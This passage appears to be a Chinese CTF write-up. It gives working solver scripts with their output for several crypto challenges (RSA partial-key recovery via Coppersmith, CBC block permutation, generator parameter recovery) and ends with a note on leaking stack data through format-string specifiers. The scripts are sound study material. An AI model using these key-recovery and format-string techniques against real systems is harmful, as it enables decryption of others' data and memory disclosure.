BETA_LIST = [0.5, 0.45, 0.4, 0.35, 0.3, 0.25, 0.2]

# 若你知道 high_bit_count(被泄露的高位位数),可在这里指定(整数);否则设为 None,脚本自动按 p_bits*2/3 估算
KNOWN_HIGH_BIT_COUNT = None

# ---------- 读取公钥与密文 ----------
def read_public_key(path=PUBFILE):
txt = open(path,'r').read()
m = re.search(r"n\s*=\s*([0-9]+)", txt)
if not m:
raise ValueError("public_key.pem 中找不到 n")
n = Integer(int(m.group(1)))
m2 = re.search(r"e\s*=\s*([0-9]+)", txt)
e = int(m2.group(1)) if m2 else 65537
return n,e

def read_ciphertext(path=CIPHFILE):
try:
b = open(path,'rb').read()
return Integer(int.from_bytes(b,'big'))
except Exception as ex:
print("无法读取 ciphertext.bin:", ex)
return None

# ---------- 读取候选 high_p 列表 ----------
def read_candidates(path=CANDIDATES_FILE):
cand = []
for line in open(path,'r'):
line = line.strip()
if not line:
continue
parts = line.split()
if len(parts) < 2:
continue
# 第二列可能是十进制,也可能是 hex,先尝试十进制
token = parts[1]
try:
v = Integer(int(token))
except Exception:
# 如果包含 0x 或 hex 字符,试 hex
if token.startswith("0x") or all(c in "0123456789abcdefABCDEF" for c in token):
v = Integer(int(token, 16))
else:
print("无法解析候选:", token)
continue
cand.append((parts[0], v))
return cand

# ---------- phase3-style 尝试函数 ----------
def try_recover_from_high(n, high_int, p_bits_est, high_bit_count):
"""
high_int: 候选的 high_p(整数)
n: modulus
p_bits_est: 预估的 p bit 长度
high_bit_count: 泄露的高位数量(bits)
返回:recovered_p 或 None
"""
# 尝试若干 mask_bits(表示 high_int 的低端可能被 mask 的位数)
for mask_bits in range(0, MAX_MASK_BITS+1):
known_high = Integer(high_int >> mask_bits) # 去掉被 mask 的低位
unknown_bits = p_bits_est - high_bit_count + mask_bits
if unknown_bits <= 0:
continue
X = 2**unknown_bits
print(f" mask_bits={mask_bits}, unknown_bits={unknown_bits} (search X ~ 2^{unknown_bits})")
# 构造 f(x) = A*2^unknown_bits + x 在 Zmod(n)
try:
R = PolynomialRing(Zmod(n), 'x')
x = R.gen()
A = Integer(known_high)
f = A * (2**unknown_bits) + x
except Exception as e:
print(" Polynomial construction error:", e)
continue

# 尝试不同 beta
for beta in BETA_LIST:
try:
t0 = time.time()
print(f" trying small_roots with beta={beta} ...", end="", flush=True)
roots = f.small_roots(X=X, beta=beta)
t1 = time.time()
print(" done (time: {:.2f}s)".format(t1-t0))
if not roots:
# no roots for this param
continue
# 遍历 roots
for r in roots:
r_int = Integer(r)
P = Integer(A * (2**unknown_bits) + r_int)
if P <= 1:
continue
if n % P == 0:
Q = n // P
if P * Q == n:
print(" -> success: found p!")
return int(P)
else:
print(" found factor but P*Q != n (skip)")
# 若没有合适因子,继续
except Exception as e:
print(" small_roots raised:", e)
# 继续尝试其他 beta
continue
# 未找到
return None

# ---------- 主流程 ----------
def main():
print("读取 public key...")
try:
n,e = read_public_key()
except Exception as ex:
print("读取 public key 失败:", ex)
return

# 兼容 Sage Integer 与 Python int 的 bitlen 调用
def bitlen(x):
try:
return int(x).bit_length()
except Exception:
try:
return x.nbits()
except Exception:
return len(bin(int(x))) - 2

print("n bitlen:", bitlen(n))
c = read_ciphertext()
if c is None:
print("注意:未读到 ciphertext,脚本将只尝试恢复 p 并不会解密。")

print("读取 high_p 候选列表...")
candidates = read_candidates()
if not candidates:
print("没有候选,检查文件", CANDIDATES_FILE)
return

p_bits_est = (bitlen(n) + 1)//2
if KNOWN_HIGH_BIT_COUNT is None:
high_bit_count = int(p_bits_est * 2/3)
else:
high_bit_count = int(KNOWN_HIGH_BIT_COUNT)

print(f"估计 p bits: {p_bits_est}, 使用 high_bit_count = {high_bit_count}")

# 遍历候选
idx = 0
for label, high_val in candidates:
idx += 1
print("\n================================================================")
print(f"[{idx}/{len(candidates)}] candidate label={label} high_val bitlen={bitlen(high_val)}")
try:
recovered_p = try_recover_from_high(n, high_val, p_bits_est, high_bit_count)
except Exception as e:
print(" candidate 流程异常:", e)
recovered_p = None

if recovered_p:
P = Integer(recovered_p)
Q = Integer(n) // P
print(">>> 成功恢复 p:", P)
print(">>> 对应 q:", Q)
# 尝试解密
if c is not None:
print("尝试解密 ciphertext...")
try:
phi = (P-1)*(Q-1)
d = inverse_mod(Integer(e), phi)
m = pow(Integer(c), Integer(d), Integer(n))
try:
pt = long_to_bytes(int(m))
print("Decrypted plaintext (bytes):")
print(pt)
try:
print("Decoded (utf-8):", pt.decode())
except Exception:
pass
except Exception as ex:
print("解密后转换 bytes 失败:", ex)
print("m (hex):", hex(int(m)))
except Exception as ex:
print("解密失败:", ex)
print("Done. Exiting.")
return
else:
print(" 未从该候选恢复到 p,继续下一个候选。")

print("\n遍历完所有候选,未能恢复 p。建议:\n - 增加 MAX_MASK_BITS 或调整 BETA_LIST\n - 在交互式 Sage 中对单个候选细调 small_roots 参数\n - 检查候选列表是否确实为 high_p(是否需要右移/左移)\n")

if __name__ == "__main__":
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 导入数据
p = 5323
A_list = [(5264, 4296, 3438, 4717, 3154, 4628, 4488, 3442, 5197, 4464, 4449, 3242, 3931, 3947, 5167, 4486, 4780, 4256, 3154, 5063, 2810, 4761, 5207, 3105, 5149, 4803, 4990, 3078, 3826, 5238, 4753, 4021, 3590, 3510, 2931, 4065, 3508, 3691, 4810, 3493, 3773, 3069), (4419, 3578, 4420, 4692, 4344, 4184, 3843, 3494, 3168, 3788, 3094, 5314, 3480, 4739, 2683, 4045, 4338, 4652, 5221, 5191, 2833, 3183, 2781, 4339, 4433, 2992, 4964, 4866, 3100, 3624, 4956, 3989, 5149, 3955, 4338, 5265, 2952, 5142, 4898, 4499, 4615, 2797), (3274, 4484, 3339, 4842, 3842, 2892, 2741, 3756, 2861, 3817, 4146, 4887, 2703, 4618, 4984, 2805, 3334, 2932, 3094, 4532, 4424, 4568, 4927, 5008, 2814, 3385, 3850, 3437, 3449, 3290, 5191, 3980, 5290, 3043, 5288, 2704, 3147, 5084, 4560, 2781, 2950, 4753), (3565, 3536, 4814, 3977, 4844, 4833, 2806, 3976, 4889, 3908, 3359, 3611, 2983, 4719, 3170, 4019, 4594, 5182, 4493, 4861, 3999, 2680, 3883, 5290, 4436, 4426, 4885, 4521, 3019, 3237, 5249, 3236, 5303, 4536, 4090, 4463, 2919, 2879, 2771, 4255, 5148, 5156), (2974, 2716, 2782, 3667, 4443, 4289, 3230, 4157, 3876, 4763, 5021, 3268, 4278, 3385, 2765, 5082, 3965, 3557, 2708, 4709, 3125, 4673, 4783, 5029, 3430, 5235, 3919, 3576, 3449, 4861, 3207, 2667, 3942, 3597, 4185, 3759, 5253, 4940, 4256, 2845, 4391, 2750), (5252, 5292, 2822, 4063, 4116, 4065, 3913, 5198, 3856, 3419, 4209, 4900, 3700, 3107, 3998, 5141, 5052, 4370, 3366, 4134, 3461, 3947, 4497, 2980, 5143, 2836, 2914, 4600, 5205, 3041, 3834, 3544, 3682, 2677, 4514, 4327, 4638, 4028, 4971, 3528, 2773, 5043), (3491, 5181, 2922, 3106, 4734, 3657, 3134, 3242, 2959, 5187, 3513, 4099, 4495, 5100, 2945, 5172, 3772, 4409, 3645, 5260, 2663, 2702, 4673, 5263, 3215, 3953, 4123, 3230, 3402, 4822, 3303, 3746, 3892, 4547, 2696, 4139, 3736, 4689, 3320, 4682, 5166, 4576), (3594, 4405, 3032, 4297, 4906, 4383, 3846, 3850, 3210, 3923, 5280, 4643, 4588, 4397, 5134, 3848, 3660, 4770, 3930, 3808, 4509, 5044, 4123, 4757, 4481, 4290, 4140, 3052, 4557, 3626, 3181, 2690, 5279, 3532, 3497, 3214, 4057, 4170, 3153, 3123, 4536, 3958), (4613, 5247, 5279, 3239, 3517, 2809, 3104, 3318, 2771, 4262, 5069, 4399, 4874, 3019, 5034, 4723, 4653, 5047, 5087, 2730, 4602, 2727, 4068, 3055, 4450, 2809, 2760, 3009, 3911, 4485, 2775, 5029, 2816, 4692, 4979, 2732, 3762, 3670, 3850, 3345, 5215, 3151), (3481, 4331, 3840, 5102, 3411, 3530, 4300, 3529, 4067, 4727, 4234, 3191, 4643, 5132, 4380, 4498, 3533, 4896, 3008, 2947, 3395, 2804, 4232, 3425, 3888, 3177, 5120, 3047, 2830, 4352, 3929, 3668, 5209, 2906, 3280, 5093, 4563, 2806, 4851, 3216, 4857, 4032), (4850, 3824, 2777, 3998, 5257, 4238, 3490, 2867, 5129, 2869, 4865, 4224, 3844, 3238, 5154, 3970, 4250, 4099, 3271, 4750, 5181, 4086, 3696, 3335, 3562, 4822, 5137, 4046, 3976, 3663, 4244, 3678, 4761, 3634, 4001, 4417, 4324, 4158, 4384, 3682, 5313, 4052), (4973, 5109, 3841, 3854, 4886, 4200, 5250, 3172, 4677, 4518, 3633, 2742, 3187, 2804, 4649, 4945, 4480, 3701, 3966, 2839, 3503, 2814, 4071, 4624, 2812, 4362, 2986, 3544, 5129, 4687, 4474, 3115, 3936, 5168, 4478, 3970, 3361, 4437, 3226, 2986, 4806, 3652), (4941, 4951, 3618, 3904, 5054, 3596, 4032, 3850, 5117, 3372, 4125, 3333, 3848, 5225, 4780, 4097, 4544, 2861, 3576, 4935, 3871, 3949, 3707, 4129, 5187, 4692, 3177, 5147, 2666, 4823, 4435, 3578, 2929, 2707, 4595, 3938, 2850, 5212, 5240, 3860, 3283, 5259), (3664, 3915, 5206, 2996, 3344, 4880, 4678, 4995, 3521, 3772, 3508, 3860, 4188, 5132, 2712, 3390, 3435, 4608, 3075, 3393, 4593, 3120, 5100, 3087, 3027, 5188, 5026, 4209, 4270, 2842, 2788, 4285, 2878, 3225, 2693, 4212, 2867, 4446, 4595, 4961, 4939, 2998), (4628, 3052, 2878, 4527, 2915, 4819, 3100, 3224, 3877, 3999, 4700, 4824, 4255, 4802, 4334, 4161, 4111, 4861, 4883, 4278, 2665, 2880, 4219, 4705, 4511, 4320, 3875, 3156, 4906, 4754, 4083, 2716, 3573, 3252, 4216, 2778, 3439, 4765, 3618, 5315, 4561, 3499), (4853, 4733, 5289, 4087, 5051, 4808, 5264, 4996, 3673, 4609, 4727, 4774, 4221, 3050, 5050, 4768, 4192, 3998, 2855, 4058, 3899, 3687, 4249, 2733, 3980, 2702, 4089, 3729, 4351, 4872, 3572, 4156, 4186, 3062, 4156, 5188, 3758, 3660, 4650, 3538, 4063, 3598), (3993, 4550, 4516, 4220, 3025, 3134, 2713, 3461, 4284, 4153, 4541, 3514, 4184, 5286, 4209, 4787, 4166, 3551, 2985, 4639, 2867, 3944, 4185, 3014, 2782, 3325, 4989, 3147, 4528, 2772, 2912, 4452, 4634, 5211, 2897, 5207, 4454, 4685, 4227, 4878, 4643, 2788), (3563, 4874, 3399, 3488, 4253, 4172, 4353, 4562, 3074, 5272, 2784, 3724, 3394, 2858, 3180, 4594, 3763, 3392, 4707, 4607, 3394, 3623, 4323, 4294, 4775, 4004, 2977, 3669, 3618, 3311, 4171, 4904, 4001, 3548, 5118, 4847, 4722, 3125, 4605, 3717, 2687, 3679), (4736, 2904, 4535, 4415, 3471, 4198, 4433, 2944, 2952, 3160, 4346, 5281, 2850, 4921, 3807, 4245, 2693, 4369, 4898, 3222, 4052, 5123, 4128, 4014, 3901, 3339, 4862, 5210, 3955, 3925, 3472, 3298, 4158, 2818, 4865, 4910, 3617, 3276, 3818, 4303, 3824, 4572), (4415, 3388, 4882, 4396, 4382, 4921, 3815, 2950, 3251, 3710, 5215, 4841, 3678, 4603, 5191, 3291, 3570, 3436, 5089, 5269, 3887, 3444, 4001, 4397, 3430, 3886, 3676, 5149, 2746, 3828, 3607, 4170, 4152, 4640, 4162, 2868, 2719, 3923, 3156, 4324, 3108, 3722), (3912, 4206, 4036, 5031, 3316, 3080, 3385, 5003, 4397, 4493, 4568, 4130, 3089, 4697, 4599, 3019, 3126, 2830, 4186, 3969, 3103, 2911, 2991, 3332, 2703, 4581, 5276, 3040, 4687, 4033, 4304, 5304, 4976, 3765, 2957, 4005, 3138, 3876, 4032, 3132, 3415, 3465), (4971, 3562, 3942, 2905, 5078, 4273, 5246, 3042, 5171, 4607, 3948, 3894, 2730, 2896, 4641, 3378, 4384, 5053, 4187, 3194, 4581, 3971, 4181, 4413, 4599, 3716, 3531, 3742, 3806, 2979, 4113, 4373, 4766, 3543, 4707, 4592, 4421, 4381, 4084, 4732, 4026, 2859), (3824, 3663, 3807, 4580, 4447, 4273, 5123, 3645, 5235, 3410, 3512, 3041, 3410, 4076, 3435, 4001, 4681, 3327, 5258, 4796, 4517, 4925, 3909, 4947, 4439, 4350, 2912, 4664, 4546, 3248, 2982, 4513, 4684, 3132, 4555, 5013, 5026, 5118, 5002, 2840, 4668, 2794), (4249, 2838, 3901, 4952, 5191, 4488, 2675, 3402, 2960, 5295, 3414, 4005, 2661, 4406, 2897, 4562, 4784, 3897, 3663, 2925, 4140, 4584, 4128, 4100, 4740, 3539, 5072, 3651, 3723, 2859, 4691, 4858, 3944, 4309, 4199, 3455, 3140, 3562, 4720, 3588, 3773, 3197), (5285, 3168, 3069, 3043, 2733, 4718, 3316, 5162, 3063, 3709, 3669, 3959, 4490, 4556, 4345, 5129, 3512, 4102, 3488, 4643, 3759, 4990, 2683, 2920, 5316, 3644, 2913, 4571, 3323, 3203, 3424, 3992, 3701, 5296, 3507, 4301, 4594, 3823, 3582, 4627, 2964, 4961), (3620, 4130, 5092, 5322, 2817, 3743, 4045, 4649, 4371, 4154, 4407, 2673, 4248, 3901, 4507, 4607, 5281, 5246, 4644, 4811, 2805, 4728, 4215, 2964, 4282, 3962, 3925, 4049, 5075, 3238, 2813, 5027, 3716, 3187, 3277, 3953, 4700, 2693, 4490, 5297, 3233, 2721), (5051, 4362, 3937, 3200, 3230, 4123, 4992, 3668, 5129, 3010, 3311, 4105, 3569, 4993, 3955, 4322, 3328, 2848, 4556, 3681, 3243, 4353, 5026, 5320, 3814, 4000, 3521, 3092, 2670, 4678, 4752, 3547, 4948, 3619, 5038, 2999, 3710, 2885, 3187, 3727, 4749, 4574), (3704, 3785, 3684, 4232, 4826, 3147, 3478, 3369, 5043, 4750, 4371, 4925, 3644, 3257, 4108, 5196, 4411, 4658, 3884, 3942, 4161, 3449, 2788, 4513, 3249, 3347, 3806, 2753, 2805, 4035, 4859, 3553, 4001, 4952, 3152, 4139, 3796, 3964, 4691, 4721, 3642, 5282), (3460, 3712, 5003, 4997, 4911, 3168, 5231, 2681, 4528, 3935, 2701, 5081, 5002, 3808, 3761, 4413, 3824, 2799, 4176, 3147, 4882, 3820, 4318, 4258, 4866, 4138, 4039, 3654, 4070, 3516, 2713, 3761, 4871, 3111, 4768, 3473, 5024, 3376, 2764, 2835, 4965, 4600), (3817, 4228, 3063, 4245, 3187, 3015, 3013, 4639, 3879, 2739, 4641, 2992, 3218, 4632, 4251, 4631, 4592, 3158, 4050, 4993, 3458, 4691, 4376, 3609, 3741, 3047, 4352, 4744, 3116, 3053, 4309, 3963, 4233, 3672, 4699, 4614, 3377, 4626, 3550, 4191, 3575, 4554), (3659, 3336, 5295, 3064, 4372, 4725, 3239, 3094, 4019, 4249, 5012, 3782, 4357, 5101, 4778, 4899, 4266, 4705, 2696, 5028, 4630, 4022, 3189, 4522, 4193, 4782, 4030, 2977, 3310, 4249, 5171, 3780, 3215, 3972, 5217, 4301, 2855, 3941, 4994, 4398, 3016, 3143), (3922, 3364, 2809, 3867, 3625, 5208, 3946, 5014, 3928, 3660, 5027, 4712, 4581, 4521, 3698, 5136, 3149, 5107, 2995, 4245, 2919, 4384, 2964, 5173, 4152, 3413, 4733, 2932, 3157, 3831, 5135, 2976, 3698, 5143, 3291, 4973, 2887, 3940, 5243, 5229, 3813, 4033), (3418, 4524, 3961, 5299, 2967, 3681, 3100, 2704, 4228, 3418, 5072, 3976, 3949, 4540, 5063, 2877, 4327, 4724, 3790, 4743, 2684, 4579, 2842, 4567, 3277, 4961, 3414, 4585, 3903, 4240, 4864, 3138, 3540, 5153, 3809, 5171, 4452, 3841, 5315, 3272, 5187, 4811), (2746, 2996, 3753, 4225, 4056, 3118, 5114, 3354, 2834, 5192, 5213, 2779, 3816, 2827, 3781, 3445, 2864, 4229, 2979, 2822, 5094, 3880, 4430, 4504, 3732, 4481, 4364, 4337, 3366, 4417, 2942, 5180, 4909, 3770, 5298, 4557, 3185, 4502, 4730, 5205, 4777, 3736), (3366, 3922, 4127, 4927, 3079, 4499, 3078, 3113, 3965, 3699, 4024, 3812, 3780, 4434, 4384, 4164, 4293, 3231, 3588, 3788, 3422, 5214, 4360, 3789, 3872, 5096, 4595, 5072, 2900, 4807, 4574, 2875, 4036, 4260, 3766, 3122, 5278, 4376, 3236, 2937, 4663, 4733), (3537, 4422, 4615, 2910, 4383, 3129, 4101, 3741, 3678, 3506, 2795, 4134, 4933, 4677, 3858, 5078, 3252, 3341, 3540, 3432, 3751, 4343, 4306, 4086, 4679, 4690, 4018, 4761, 4506, 5055, 5205, 4394, 4060, 3872, 3477, 4523, 3191, 5158, 4847, 2970, 4722, 3451), (3475, 4137, 4259, 2941, 3515, 4639, 3237, 5274, 2889, 5243, 2984, 4033, 3160, 3668, 4402, 5283, 3479, 4585, 2719, 3023, 3941, 3184, 3774, 3673, 3279, 3124, 3840, 4507, 5111, 4661, 3101, 2744, 3424, 4623, 3936, 2923, 3309, 4324, 3077, 4161, 4461, 5192), (4170, 3426, 4246, 3841, 4606, 3187, 4783, 4900, 5101, 5108, 5041, 4042, 4943, 2927, 3529, 4985, 4682, 4255, 2968, 3298, 4057, 2725, 5305, 4412, 4719, 3730, 2784, 4485, 2760, 3082, 3293, 3026, 4728, 3256, 4683, 3165, 4412, 2883, 4302, 3392, 3399, 3512), (4886, 3474, 2923, 4021, 4746, 5119, 3465, 4475, 5248, 4958, 3441, 3772, 3068, 4773, 3654, 4283, 4688, 3787, 3456, 3174, 2947, 4041, 2724, 3683, 5058, 3914, 2973, 4082, 3706, 2671, 5031, 3297, 3790, 4753, 2847, 3265, 3355, 3214, 2872, 4131, 3459, 4879), (2961, 3419, 4246, 2699, 4676, 2746, 5270, 5186, 3447, 3571, 4989, 3646, 4804, 3003, 5215, 3593, 4244, 5085, 2856, 3706, 3213, 5005, 2900, 3031, 3196, 2726, 3711, 5072, 4654, 4079, 4894, 3748, 4266, 2810, 2770, 4071, 2713, 3079, 4809, 3063, 3174, 3380), (3200, 2952, 2713, 5140, 2863, 3263, 3052, 4190, 4913, 3754, 3942, 5009, 3298, 2848, 3970, 3737, 5099, 3591, 3370, 5302, 4153, 2947, 2904, 4201, 5162, 3919, 4686, 3043, 5071, 4648, 4218, 4914, 4434, 5111, 3284, 2758, 4051, 5157, 5189, 4768, 4019, 2803)] # 你的矩阵列表
b_list = [4300, 535, 1288, 4438, 3036, 4873, 312, 2278, 5120, 3806, 2223, 2772, 2709, 953, 1788, 1303, 2432, 4101, 3993, 822, 4493, 841, 1936, 4626, 3419, 3854, 2435, 1925, 5040, 3693, 5181, 932, 1189, 3614, 2685, 2046, 2663, 747, 3627, 648, 3142] # 你的向量列表

A = Matrix(Zmod(p), A_list)
b = vector(Zmod(p), b_list)

# 求解模方程
sol = A.right_kernel().basis() # 解空间基
x0 = A.solve_right(b) # 一个特解

# 生成完整解
# 所有解:x = x0 + k*v,其中 v 是解空间基向量,k ∈ Z/pZ
v = sol[0]

# 尝试找到满足 ASCII 条件的 k
for k in range(p):
candidate = [(x0[i] + k*v[i]) % p for i in range(len(x0))]
if all(32 <= c <= 126 for c in candidate):
flag = ''.join(chr(c) for c in candidate)
print(flag)
break

分析代码 是个哈希碰撞问题 因为 m=2的22次方 是 2 的幂次,可以用模运算的性质制造碰撞
在模 2的k次方 下,若两个数的差是 2的k-1次方,它们平方模 2的k次方 会相等
进入环境 输入 0 2097152 因为 2^21 = 2097152 无论 a、b、c 取什么随机值 这两个输入一定碰撞
46

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from Crypto.Util.Padding import unpad

# 已知数据(题目给出)
iv1_hex = "1e5d251ea78ef68a1282079fd028c747"
iv2_hex = "18777ae4c1a29f4c5db8ba6c5dfe72f1"
m1_hex = "f560fd28ed5c5ce7d952eb44b47007e702f42dbb54540dfc78467f48933dbb01ebcf520fd3d23a211d3b4e8c06261966cb178525c25b8058ff792e0f251d3d15"
c1_hex = "caf7bc1223c17f848aec854a87b8958d4c518f7287663bfae0b6a5a1e0f0eb95b50c9ea6789a7d77fda5f50d1b8a2183b40cab693ebacf32a9b59faf3b0084ff"
c2_hex = "b40cab693ebacf32a9b59faf3b0084ffcaf7bc1223c17f848aec854a87b8958db50c9ea6789a7d77fda5f50d1b8a21834c518f7287663bfae0b6a5a1e0f0eb95"


def split_blocks(bs, block_size=16):
"""分割为 16 字节块"""
return [bs[i:i + block_size] for i in range(0, len(bs), block_size)]


iv1 = bytes.fromhex(iv1_hex)
iv2 = bytes.fromhex(iv2_hex)
m1 = bytes.fromhex(m1_hex)
c1 = bytes.fromhex(c1_hex)
c2 = bytes.fromhex(c2_hex)

c1_blocks = split_blocks(c1)
c2_blocks = split_blocks(c2)
m1_blocks = split_blocks(m1)

# 找出 perm:c1[i] 对应 c2[perm[i]]
perm = [c2_blocks.index(b) for b in c1_blocks]
print(f"[+] perm = {perm}")

# 由关系式恢复 m2 的明文分块
p2_blocks = [b""] * len(c2_blocks)
for j, idx in enumerate(perm):
prev_c2 = iv2 if idx == 0 else c2_blocks[idx - 1]
prev_c1 = iv1 if j == 0 else c1_blocks[j - 1]
# p2_i = m1_j XOR prev_c2 XOR prev_c1
p2 = bytes(a ^ b ^ c for a, b, c in zip(m1_blocks[j], prev_c2, prev_c1))
p2_blocks[idx] = p2

# 拼接、去填充
recovered_padded_m2 = b"".join(p2_blocks)
m2 = unpad(recovered_padded_m2, 16)

print("\n[+] Recovered padded m2 (hex):", recovered_padded_m2.hex())
print("[+] Recovered plaintext (utf-8):", m2.decode("utf-8"))

输出:
[+] perm = [2, 3, 0, 1]

[+] Recovered padded m2 (hex): 666c61677b6362635f64616e63696e675f31735f7468655f626573745f58445f6d69616f77757e5f77616e67616e677e7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Recovered plaintext (utf-8): flag{cbc_dancing_1s_the_best_XD_miaowu~_wangang~}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
from functools import reduce
import math

# ------------ 把题目中输出的 c 和 gift 直接粘贴到这里 -------------
c = 18160008429568445340421193226402615775962630020115351294214303830750860843808409781742323237344243089
gift = [
131865585354798388503853664204045577497186238155562615801484830104683890877181087005834317031942408283,
109059933499981578098773732552241207995570220834770592696583461488231579239704140357451421969855041379,
98201806091494704187082836852065059816140437191793644297243874711016194459625411781009291718075199135,
18757271931319533257322147585629190099147626954402651433709338855513752753972712032016018862573500407,
44414575833831572247180084691462875843855281105693674992974405001127527490917389843309074213475473796,
119230797767846495009095216222595719657467391997837145037599770904490776264420156248960485317227292047,
55025298938239176714746988606097305944000798467396224542466354530737718336537150422546120714654987068,
61108071970379547679922902146574052023820080507110885404335008795305785800023228103358713867748030391,
73121196162106845765032066055951000614569505693120119413603886103757507878101072263238094066564654117,
41442768650713930642944746020790921582963259300977583069055974755273373804142970727737438848232141888
]
# ------------------------------------------------------------------

# compute s array as integers
s = gift

# Build di and ei for triples s[i], s[i+1], s[i+2]
# valid i: 0 .. len(s)-3
di = []
ei = []
for i in range(len(s)-2):
si = s[i]
si1 = s[i+1]
si2 = s[i+2]
di.append(si1 - si)
ei.append((si1 - si2) * si * si1)

# compute all pairwise values dij = di[i]*ei[j] - di[j]*ei[i], take gcd of absolute values
vals = []
for i in range(len(di)):
for j in range(i+1, len(di)):
val = di[i]*ei[j] - di[j]*ei[i]
vals.append(abs(val))

# gcd of all vals
G = 0
for v in vals:
G = math.gcd(G, v)

print("G (gcd of pairwise eliminations) bitlen:", G.bit_length())

# G should be multiple of p. Try to extract p by factoring G's gcd --
# Usually p itself will be a (large) prime factor of G. We attempt to find the prime factor > max(s)
max_s = max(s)
print("max gift s bitlen:", max_s.bit_length())

# Try to get candidate p by dividing out small factors (trial)
# We'll try to find any prime factor of G greater than max_s
def find_candidate_p(G, threshold):
# trial divide small primes first to reduce G
small_primes = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97]
GG = G
for sp in small_primes:
while GG % sp == 0:
GG //= sp
# If remainder > 1 and > threshold, return it (it may be composite though)
if GG > 1 and GG > threshold:
return GG
# otherwise try to find any factor > threshold by gcd with (G // small)
# brute force trial up to reasonable limit (this is a fallback and may be slow if not needed)
# We'll try Pollard rho if necessary, but keep simple: try integer sqrt trick
# Use simple Pollard-Rho implementation if needed
return None

candidate = find_candidate_p(G, max_s)
if candidate:
print("Found candidate p (possibly composite) with bitlen", candidate.bit_length())
else:
print("No straightforward candidate from simple reduction. Trying Pollard Rho factorization...")

# Pollard Rho implementation (deterministic-ish)
import random

def is_probable_prime(n, k=8):
if n < 2:
return False
# small primes
small_primes = [2,3,5,7,11,13,17,19,23,29]
for p in small_primes:
if n % p == 0:
return n == p
# Miller-Rabin
d = n-1
s = 0
while d % 2 == 0:
d//=2
s+=1
def check(a, s, d, n):
x = pow(a, d, n)
if x == 1 or x == n-1:
return True
for _ in range(s-1):
x = pow(x, 2, n)
if x == n-1:
return True
return False
for _ in range(k):
a = random.randrange(2, n-1)
if not check(a, s, d, n):
return False
return True

def pollard_rho(n):
if n%2==0:
return 2
if n%3==0:
return 3
while True:
c = random.randrange(1, n-1)
x = random.randrange(2, n-1)
y = x
d = 1
while d == 1:
x = (x*x + c) % n
y = (y*y + c) % n
y = (y*y + c) % n
d = math.gcd(abs(x-y), n)
if d == n:
break
if d > 1 and d < n:
return d

def factor(n):
if n == 1:
return []
if is_probable_prime(n):
return [n]
d = pollard_rho(n)
while d is None:
d = pollard_rho(n)
fs1 = factor(d)
fs2 = factor(n//d)
return fs1 + fs2

factors = factor(G)
factors = sorted(factors)
print("factors found count:", len(factors))
# look for a factor > max_s (must be p or multiple)
candidate_ps = [f for f in factors if f > max_s]
if not candidate_ps:
# maybe G has power of p: try gcd(G, s_i^k +/- ...) fallback: take largest factor
candidate = max(factors)
print("No factor > max gift found; using largest found factor:", candidate)
candidate_ps = [candidate]

p = candidate_ps[-1]
print("candidate p:", p)
print("p bitlen:", p.bit_length())

# Check primality
if not is_probable_prime(p):
print("Warning: candidate p is composite! trying to pick prime factor > max_s instead.")
# try to factor candidate further
facs = factor(p)
facs = sorted(facs)
for ff in facs[::-1]:
if ff > max_s and is_probable_prime(ff):
p = ff
break
print("adjusted p:", p, "bitlen", p.bit_length())

# Now recover a using congruence a * di ≡ ei (mod p) for any i with di % p != 0
a = None
for i in range(len(di)):
d = di[i] % p
if d != 0:
invd = pow(d, -1, p)
ai = (ei[i] % p) * invd % p
a = ai
ai_index = i
break

if a is None:
raise ValueError("无法通过 di 恢复 a(所有 di 在 mod p 下为 0)")

print("recovered a (mod p) from triple index", ai_index, ":", a)

# recover b via s_{i+1} ≡ a * inv(s_i) + b (mod p)
i = ai_index
si = s[i] % p
si1 = s[i+1] % p
inv_si = pow(si, -1, p)
b = (si1 - (a * inv_si % p)) % p
print("recovered b (mod p):", b)

# compute key from last s value as in code: key = (a*inverse(s,p)+b)%p where s is the final s used in encrypt
s_last = s[-1] % p
inv_last = pow(s_last, -1, p)
key = (a * inv_last + b) % p
print("recovered key (int) bitlen:", key.bit_length())

# decrypt
m = c ^ key
# convert to bytes
def long_to_bytes(n):
return n.to_bytes((n.bit_length()+7)//8, 'big')

try:
plaintext = long_to_bytes(m).decode()
print("可能的明文(decoded as utf-8):\n", plaintext)
except Exception as e:
print("解密得到的原始 bytes(hex):\n", long_to_bytes(m).hex())
print("(注意:若直接 decode 失败,尝试查看 hex 或文件输出)")


输出:
G (gcd of pairwise eliminations) bitlen: 336
max gift s bitlen: 336
Found candidate p (possibly composite) with bitlen 336
factors found count: 1
candidate p: 133824063174739380700665294482954762494261019463748241623836278519679889434431693103693423554406140867
p bitlen: 336
recovered a (mod p) from triple index 0 : 125010888256807792918086019744425973270959722065920696604088777949763998204948993383889428658359639201
recovered b (mod p): 53206185442451718414153407544616606258837514345841056138750460331811398271702514899019420824049666485
recovered key (int) bitlen: 335
可能的明文(decoded as utf-8):
flag{2eac1c79-8abd-465e-82f4-96beffed69e4}
1
通过 位置参数语法 %N$...(例如 %11$p、%11$s),可以直接读取第 N 个参数并把它当成指针(%p)或 C 字符串(%s)来解释。利用这点可以从栈上定位并读取隐藏的密码指针与密码字符串

